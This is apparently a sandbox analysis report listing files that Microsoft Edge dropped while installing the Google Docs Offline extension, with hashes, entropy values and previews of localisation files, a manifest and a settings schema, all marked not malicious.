File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
